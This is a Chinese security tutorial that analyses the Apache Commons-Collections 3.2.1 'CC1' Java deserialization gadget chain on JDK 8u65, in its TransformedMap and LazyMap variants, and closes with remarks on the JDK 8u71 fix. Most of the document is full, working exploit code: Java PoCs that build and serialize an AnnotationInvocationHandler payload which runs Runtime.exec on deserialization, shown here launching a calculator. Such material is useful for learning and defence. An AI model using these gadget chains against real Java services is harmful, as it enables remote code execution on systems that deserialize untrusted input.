环境搭建
将jdk-af660750b2f4\src\share\classes\sun复制到jdk1.8.0_65\src
新建项目,将JDK换成8u65
然后在pom.xml添加依赖
1 2 3 4 5
| <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
|
项目结构->SDK
然后
通过import CC的包来验证环境是否导入成功
1
| import org.apache.commons.collections.functors.InvokerTransformer;
|
Common-Collections
Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper
(一些已发布项目),Sandbox
(一些正在开发的项目)和Dormant
(一些刚启动或者已经停止维护的项目)。
简单来说,Common-Collections这个项目开发出来是为了给Java标准的Collections API提供了相当好的补充
在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充
包结构
org.apache.commons.collections
-CommonsCollections自定义的一组公用的接口和工具类
org.apache.commons.collections.bag
-实现Bag接口的一组类
org.apache.commons.collections.bidimap
-实现BidiMap系列接口的一组类
org.apache.commons.collections.buffer
-实现Buffer接口的一组类
org.apache.commons.collections.collection
-实现Java.util.Collection接口的一组类
org.apache.commons.collections.comparators
-实现Java.util.Comparator接口的一组类
org.apache.commons.collections.functors-Commons Collections
-自定义的一组功能组
org.apache.commons.collections.iterators
-实现Java.util.Iterator接口的一组类
org.apache.commons.collections.keyvalue
-实现集合和键/值映射相关的一组类
org.apache.commons.collections.list
-实现java.util.list接口的一组类
org.apache.commons.collections.map
-实现Map系列接口的一组类
org.apache.commons.collections.set
-实现Set系列接口的一组类
反序列化攻击思路
入口类这里,需要一个readObject
方法,结尾需要一个能够执行命令的方法,中间通过链子引导过去,所以攻击一定要从尾部出发取寻找头
流程图:
寻找尾部的exec方法
Transfomer
接口,查看接口实现的类
InvokerTransformer
中存在反射可以调用任意类的任意方法,可以作为链子的终点
先尝试构造一下,利用这个类弹个计算器
反射的命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| package org.example; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method;
public class Main { public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Runtime runtime = Runtime.getRuntime(); Class c = Runtime.class; Method method = c.getDeclaredMethod("exec", String.class); method.setAccessible(true); method.invoke(runtime,"calc");
} }
|
根据构造方法构造exp,因为是public方法,无需反射
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| package org.example; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method;
public class Main { public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); invokerTransformer.transform(runtime);
} }
|
注意最后一句invokerTransformer.transform(runtime);
,那么下一步就需要寻找调用transform
方法的不同名函数
初步寻找链子
find usages
发现TransformedMap
类中存在checkSetValue
方法调用了transform
方法
跟进valueTransformer
,在TransformedMap
的构造方法发现了valueTransformer
但是由于其作用域是protected,我们还要继续寻找谁又调用了这个构造方法
静态的decorate
方法创建了TransformedMap
对象
到这里,我们将其作为链子的起点,构造PoC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
public class PoC1 { public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); HashMap<Object,Object> hashMap = new HashMap<>(); Map decorateMap = TransformedMap.decorate(hashMap,null,invokerTransformer); Class<TransformedMap> transformedMapClass = TransformedMap.class; Method checksetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class); checksetValueMethod.setAccessible(true); checksetValueMethod.invoke(decorateMap,runtime);
} }
|
分析一下这条链子是怎么构造的:
- 尾部,也就是我们利用的漏洞,
InvokerTransformer
类的transform
方法存在反射,可以进行命令执行
- 当调用
decorate
方法时,会新建TransformedMap
对象,我们调用对象的checkSetValue
方法
- 在
checkSetValue
方法中,会调用transform
方法,这也就是链子的尾部
这么一看,调用decorate
方法就很有必要了,下面几行代码都是为了decorate
方法而生的
1 2 3
| InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); HashMap<Object,Object> hashMap = new HashMap<>(); Map decorateMap = TransformedMap.decorate(hashMap,null,invokerTransformer);
|
调用完decorate
方法,下面就可以新建TransformedMap
对象了
1
| Class<TransformedMap> transformedMapClass = TransformedMap.class;
|
再利用反射
1 2 3
| Method checksetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class); checksetValueMethod.setAccessible(true); checksetValueMethod.invoke(decorateMap,runtime);
|
完整链子
目前的链子位于checkSetValue
当中,找decorate
的链子,发现无法往前了,回到checkSetValue
重新找链子
继续find usages
,发现了parent.checkSetValue(value)
,调用了checkSetValue
跟进看看,这是一个抽象类,并且还是TransformedMap
的父类
调用checkSetValue
方法的是其内部类MapEntry
setValue()
实际上就是再Map中对一组entry(键值对)进行setValue()
操作
所以我们进行decorate
方法调用,进行Map遍历时,就会走到setValue
中,而setValue
则会调用checkSetValue
写一段代码来调试一下,看看遍历Map时,会不会走到setValue
,在上图中setValue
的第192行下断点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap; import java.util.Map; public class setValueTest { public static void main(String[] args) { Runtime runtime =Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put("key","value"); Map<Object,Object> decorateMap = TransformedMap.decorate(hashMap,null,invokerTransformer); for (Map.Entry entry:decorateMap.entrySet()){ entry.setValue(runtime); }
} }
|
果然会跳进来,并且代码执行完会弹计算器
那么到这里攻击思路就出来了,找到一个是数组的类,遍历这个数组,并且调用setValue
方法
问题是怎么遍历一个Map最终调用setValue
方法
下面就需要找到一个可以调用setValue
的readObject
寻找链首的readObject
之前链子分析到setValue
,这里在setValue
处继续find usages
成功找到一个readObject
的入口类
类名为AnnotationInvocationHandler
,InvocationHandler
是用做动态代理中间处理,因为它继承了InvocationHandler
接口
要调用setValue
,就必须满足下图的条件
但是readObject
的方法是类AnnotationInvocationHandler
的,AnnotationInvocationHandler
的作用域为default,我们需要通过反射来获取这个类及其构造函数,再实例化
构造Exp
理想情况下的Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.*; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map;
public class ExceptedExp { public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put("key", "value"); Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class); aihConstructor.setAccessible(true); Object o = aihConstructor.newInstance(Override.class, transformedMap);
serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
这个Exp存在三个问题:
Runtime
对象不可序列化,需要通过反射将其变成可以序列化的形式
setValue()
的传参,需要传Runtime
对象,但是实际情况中却不是
解决Runtime不能序列化
Runtime
没有实现序列化接口,因此不能序列化
但是Runtime.class
是可以序列化的
Runtime.class
是Java中的一个特殊的静态属性,表示java.lang.Runtime
类的Class对象,对于java.lang.Runtime
类来说,Runtime.class
就是表示该类的元数据信息的Class对象。它包含了有关Runtime
类的结构、方法、字段等信息,可以用来在反射中获取方法、调用方法、获取类名等
先写一遍普通的反射
1 2 3 4 5 6 7 8 9 10 11 12
| import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class Exp1 { public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Class c = Runtime.class; Method method = c.getDeclaredMethod("getRuntime"); Runtime runtime = (Runtime)method.invoke(null,null); Method run = c.getMethod("exec", String.class); run.invoke(runtime,"calc"); } }
|
再将这个反射的Runtime
改为使用InvokerTransformer
调用的方式
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class Exp1 { public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Class c = Runtime.class; Method runtimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(c); Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(runtimeMethod); new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime); } }
|
最后三行代码的共同点:
- 格式都为
new InvokerTransformer().invoke()
- 后一个
invoke()
方法里的参数都是前一个的结果
我们可以使用ChainedTransformer
类来简化代码
ChainedTransformer
类下的transform
方法递归调用了前一个方法的结果,作为后一个方法的参数
那么编写Exp的时候就可以先定义一个数组,然后将数组传到ChainedTransformer
中,再调用transform
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class Exp1 { public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(Runtime.class);
} }
|
与decorate的链子结合
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; import java.util.Map;
public class Exp2 { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException { Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put("key","value"); Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class); aihConstructor.setAccessible(true); Object o = aihConstructor.newInstance(Override.class, transformedMap);
serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
但是运行并没有弹出计算器,因为并没有调用transformer
我们在AnnotationInvocationHandler
类的两个if打断点看看
可以看到Exp跳过了第二个if,没有调用setValue
方法
进入setValue方法
要调用setValue方法,必须满足两个if条件
第一个if语句if (memberType != null)
,跳出来的原因是我们传入的memberType为null,
我们的传参语句
我们的要求是,传入的注解参数是有成员变量的
并且满足hashMap.put("para1","para2")
中的para1
与成员变量相对应,当然这是第二个if的事了
跟进Override看看
什么都没有,那我们就需要找另外的注解
我们用Target.class
尝试一下,点击Target
,其中有一个成员变量value
,所以这里的hashmap.put
也需要修改为value
再次debug,成功进入setValue
方法
但是仍然弹不了计算器,因为setValue
的值不可控,指定为AnnotationTypeMismatchExceptionProxy
类,无法命令执行
我们需要找到一个类,可控setValue
的参数
编写最终Exp
这里找了一个能够解决setValue
可控参数的类-ConstantTransformer
- 构造方法:传入的任何对象都放在
iConstant
中
transform()
方法:无论传入什么,都返回iConstant
那我们就可以将AnnotationTypeMismatchExceptionProxy
类作为transform
方法的参数传入,然后再通过构造方法传入Runtime.class
,这样无论transform
方法调用什么对象,都会返回Runtime.class
我们来传入Runtime.class调试一下看看:
可以看到虽然给transform
方法传入的参数是AnnotationTypeMismatchExceptionProxy
,但是最终返回的是Runtime.class
最终Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map;
public class ExpFinal { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put("value","p0l1st"); Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class); aihConstructor.setAccessible(true); Object o = aihConstructor.newInstance(Target.class, transformedMap);
serialize(o); unserialize("ser.bin");
} public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
小结
利用链
1 2 3 4 5 6 7 8 9
| 利用链: InvokerTransformer#transform TransformedMap#checkSetValue AbstractInputCheckedMapDecorator#setValue AnnotationInvocationHandler#readObject 工具类辅助利用链: ChainedTransformer ConstantTransformer HashMap
|
流程图
LazyMap版CC1攻击链
寻找链尾的exec方法
链子的尾部还是InvokerTransformer
下的transform
方法,继续find usages
这里选择LazyMap
类的get
方法,该方法调用了transform
方法并且作用域为public
寻找链子
先来看看上图158行中的factory
是什么
这里也有decorate
方法,作用和TransformMap
中的decorate
方法一样,那我们就可以通过decorate
方法来创建LazyMap
对象进而控制factory
构造Exp来看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap; import java.util.Map; public class LazyExp1 { public static void main(String[] args) throws Exception { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); HashMap <Object,Object> hashMap = new HashMap<>(); Map decorateMap = LazyMap.decorate(hashMap,invokerTransformer); decorateMap.get(runtime);
} }
|
可以看到这条链是可以利用的,继续往前,最终要找到入口类的readObject
方法
上面我们找到了LazyMap
类的get
方法,继续看看谁调用了LazyMap.get()
AnnotationInvocationHandler
类的invoke
方法调用了get
方法
分析上条链子时我们知道memberValues
可控,并且这个类存在readObject
方法,那我们就可以将其作为入口类
编写Exp
触发invoke
方法,需要动态代理,一个类被动态代理之后,通过代理调用这个类的方法,就一定会调用invoke
方法
这里调用了entrySet
方法,也就是说,如果我们将memberValues
的值改为代理对象,当调用代理对象的方法,就会跳到执行invoke
方法
AnnotationInvocationHandler
中实现了InvocationHandler
,可以使用动态代理
我们将AnnotationInvocationHandler
对象用Proxy进行动态代理,那么进行readObject
时,只要调用任意方法,就会进入到AnnotationInvocationHandler.invoke
方法中,进而触发LazyMap.get
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; public class LazyExpFinal { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap); Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler); invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap); serialize(invocationHandler); unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }
}
|
小结
利用链
1 2 3 4 5 6 7 8 9
| 利用链: InvokerTransformer#transform LazyMap#get AnnotationInvocationHandler#readObject 工具类辅助利用链: ChainedTransformer ConstantTransformer HashMap Map(Proxy)#entrySet
|
流程图
修复方法
官方推荐的修复方法是将jdk版本提升至jdk8u71
jdk8u71及后续版本没有能调用readObject
中setValue
方法的地方
LazyMap
jdk8u67之后的版本序列化不再通过defaultReadObject
方式,而是通过readFields
来获取几个特定的属性,defaultReadObject
可以恢复对象本身的属性,比如this.memberValues
就能恢复成我们原本设计的恶意类,但是通过readFields
方式,this.memberValues
为null,后面执行get
方法就没办法触发,这也就是高版本不能使用的原因
参考文章
Java反序列化Commons-Collections篇01-CC1链
Java_Commons-Collections 1 (CC1) 学习过程
CommonCollections1利用链分析